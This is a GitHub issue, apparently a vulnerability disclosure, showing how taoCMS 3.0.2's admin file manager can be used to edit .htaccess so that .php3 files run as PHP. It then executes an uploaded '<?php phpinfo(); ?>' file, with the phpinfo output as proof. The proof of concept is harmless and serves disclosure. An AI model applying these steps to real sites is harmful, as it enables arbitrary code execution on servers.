

New issue

[Jump to bottom](#)

# Code injection caused by arbitrary file editing vulnerability in taocms3.0.2 #28

[Open](#) debug601 opened this issue on Feb 18 · 0 comments

debug601 commented on Feb 18

We click on file management to go to the management location of the website and directory.

taoCMS网站内容管理系统				
管理首页	工具	当前位置: ./	进入 新建:	新建文件 新建文件夹 【后退·前进·刷新】 上
文章管理	传	文件名称	修改时间	文件大小 操作
添加文章		admin	2022-02-19 02:50:08	进入 · 删除
管理文章		data	2022-02-19 02:50:45	进入 · 删除
管理栏目		include	2022-02-19 02:50:08	进入 · 删除
采集管理		pictures	2022-02-19 02:58:57	进入 · 删除
数据管理		template	2022-02-19 02:50:08	进入 · 删除
执行SQL		wap	2022-02-19 02:50:08	进入 · 删除
其他管理		.htaccess	2022-02-19 03:06:50	196 B 下载 · 编辑 · 删除
管理评论		LICENSE	2021-03-14 03:49:24	1.05 K 下载 · 编辑 · 删除
友情链接		README.md	2021-03-14 03:49:24	2.18 K 下载 · 编辑 · 删除
人员管理		api.php	2021-03-14 03:49:24	280 B 下载 · 编辑 · 删除
文件管理		config.php	2022-02-19 02:58:08	913 B 下载 · 编辑 · 删除
综合设置		favicon.ico	2021-03-14 03:49:24	894 B 下载 · 编辑 · 删除
导入导出		index.php	2021-03-14 03:49:24	478 B 下载 · 编辑 · 删除
网站设置		install.php	2021-03-14 03:49:24	12.45 K 下载 · 编辑 · 删除
网站首页		rss.php	2021-03-14 03:49:24	1.02 K 下载 · 编辑 · 删除
个人管理		sitemap.php	2021-03-14 03:49:24	566 B 下载 · 编辑 · 删除

Click to edit the .htaccess file and add a line at the end, 'AddType application/x-httpd-php.php3', click Save.

The function of the statement 'AddType application/x-httpd-php .php3' is to execute all files with the .php3 suffix as .php files.

## 管理系统

当前文件地址:

【后退·前进·刷新】

```
RewriteEngine On
RewriteBase /taocms-3.0.2/
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule .* index.php/$0 [PT,L]
AddType application/x-httpd-php .php3
```

We create a 1.php3 file and write "to 1.php3."

## 管理系统

工具

当前位置:

进入

新建: 1.php3

新建文件

新建文件夹

【后退·前进·刷新】

上

传

文件名称

修改时间

文件大小

操作

## 管理系统

当前文件地址:

【后退·前进·刷新】

```
<?php phpinfo(); ?>
```

Visit the 1.php3 file in the directory of the website and find that it has been executed successfully. It's really great.

# PHP Version 5.5.38



System	Windows NT 0XFF-PC 6.1 build 7601 (Windows 7 Ultimate Edition Service Pack 1) i586
Build Date	Jul 20 2016 11:08:49
Compiler	MSVC11 (Visual C++ 2012)
Architecture	x86
Configure Command	cscrip /nologo configure.js "--enable-snapshot-build" "--disable-isapi" "--enable-debug-pack" "--without-mssql" "--without-pdo-mssql" "--without-pi3web" "--with-pdo-oci=C:\php-sdk\oracle\x86\instantclient10\sdk,shared" "--with-oci8=C:\php-sdk\oracle\x86\instantclient10\sdk,shared" "--with-oci8-11g=C:\php-sdk\oracle\x86\instantclient11\sdk,shared" "--enable-object-out-dir=../obj/" "--enable-com-dotnet=shared" "--with-mcrypt=static" "--disable-static-analyze" "--with-pgo"
Server API	Apache 2.0 Handler
虚拟目录支持	启用
配置文件 (php.ini) 路径	C:\Windows
加载的配置文件	D:\phpStudy\PHPTutorial\php\php-5.5.38\php.ini
扫描此目录以获取其他 .ini 文件	(没有)
解析的其他 .ini 文件	(没有)
PHP API	20121113

## Assignees

No one assigned

## Labels

None yet

## Projects

None yet

## Milestone

No milestone

## Development

No branches or pull requests

1 participant

